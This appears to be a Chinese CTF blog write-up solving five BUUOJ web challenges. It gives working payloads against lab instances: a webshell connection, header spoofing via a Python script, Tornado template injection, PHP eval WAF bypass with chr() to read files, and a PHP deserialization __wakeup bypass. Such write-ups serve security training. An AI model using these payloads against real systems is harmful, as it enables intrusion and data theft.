CTF Web buu oj day13
[极客大挑战 2019]Knife
类型
文件上传
解题
题目提示明显,一句话木马,使用蚁剑链接即可:
打开蚁剑右键添加数据:
地址为http://c2b35217-f0ba-463b-8473-d7073fc15a13.node3.buuoj.cn/index.php
连接密码提示了“Syc”
双击即可打开文件目录,到根目录/下就可以看到flag:flag{a35c070b-f7de-47ff-bc05-7eb23ae293d3}
[极客大挑战 2019]Http
类型
HTTP协议
解题
页面打开后查看源代码,
链接点过去后看到
It doesn’t come from ‘https://www.Sycsecret.com’,是表示请求不是来自这个链接
Referer:先前网页的地址,当前请求网页紧随其后,即来路
class urllib.request.Request(url, data=None, headers={}, origin_req_host=None, unverifiable=False, method=None)
import requests
url = 'http://node3.buuoj.cn:29998/Secret.php'
headers = {"Referer" : "https://www.Sycsecret.com"}
r = requests.get(url, headers = headers)
print(r.text)
返回“Please use “Syclover””,表示用Syclover发出请求
User-Agent:User-Agent的内容包含发出请求的用户信息
headers['User-Agent'] = "Syclover"
r = requests.get(url, headers = headers)
print(r.text)
返回“No!!! you can only read this locally!!!”,表示得从本地请求
X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP
headers['X-Forwarded-For'] = "127.0.0.1"
r = requests.get(url, headers = headers)
print(r.text)
看到flag:flag{3cd8ec02-48d1-4cfd-8aab-59dc1671248a}
[护网杯 2018]easy_tornado
类型
SSTI服务器端模板注入(Server-Side Template Injection)
SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2,mako,tornado,django,php的smarty twig,java的jade,velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
解题
/file?filename=/fllllllllllllag尝试访问/fllllllllllllag
这里就是SSTI注入点,测试error?msg={{123}}返回
注入handler.settings(至于为什么,也是看WP,想看官方文档可是加载不出来。。。)
/fllllllllllllag的hash(filename)=3bf9f6cf685a6dd8defadabfb41a03a1,这里还得加/
再加上cookie_secret一起取md5可以得到flag:flag{71bcb7a2-bf4b-421b-96f7-27092c224de6}
[RoarCTF 2019]Easy Calc
类型
php代码执行
解题
- 首先输入1+1,计算,答案:2。再右键查看源代码script中给出了URL:calc.php。url为calc.php?num=URL编码后输入内容;类型是GET请求;成功返回值,如果运行失败将alert弹窗“这啥?算不来!”因此,下一步看calc.php怎么样能成功。
- 访问/calc.php看到提示源代码,如下图,判断num是否传参,如果没给值,显示页面;如果给值,赋值给str,设置一些符号黑名单,如果匹配到这些符号,退出脚本提示“what are you want to do?”,如果黑名单绕过就eval执行代码echo str;
- 构造payload首先检测到有waf,先用空格绕过waf对num输入值的限制,即/calc.php?%20num=
- echo回显字符可以用var_dump()打印变量,要打印变量是scandir()显示目录,要显示根目录/,这属于黑名单限制,这里用chr(47)绕过黑名单。即构造payload为/calc.php?%20num=var_dump(scandir(chr(47)))
- 再file_get_contents把这个f1agg读入一个字符串,echo打印多个字符串用逗号拼接,构造payload为/calc.php?%20num=var_dump(scandir(chr(47))),var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[极客大挑战 2019]PHP
类型
php反序列化
解题
-
打开页面提示有备份文件,扫描目录
-
打开后下载zip文件并解压,分别打开index.php、class.php、flag.php。
-
index.php中包含了class.php,get方法传入了select参数(所以这个是我们可以用来构造payload的注入点了),下一句就是这道题的题眼反序列化之后赋值给变量res,所以序列化也是构造一个变量。
-
从index知道注入点之后再看include的关键文件class.php,看怎么构造payload。class Name类定义了两个变量username,password。三个魔术方法,__construct( )、__destruct ( ) 、__wakeup ( ) 。这里destruct方法如果变量password=100,username=admin,就可以echo flag~~~。于是有了payload思路:先new一个对象,按上面说的给password\username变量分别赋值100\admin,然后先序列化这个变量,通过get请求传给select方法反序列化,反序列化完成后执行destruct看到flag了。
-
class.php里加上几行代码执行出序列化的变量:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
这里加上urlencode是因为private变量比较特殊,序列化后变量名前都带着类名,而且还用%00开头
这个直接当作payload用get传给select不会显示,是因为unserialize()会先调用wakeup,这是username被改为guest。所以这里需要一个绕过技巧,即如果变量个数超过实际变量个数就不会执行wakeup,直接执行destruct。于是修改最终payload为:O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
得到flag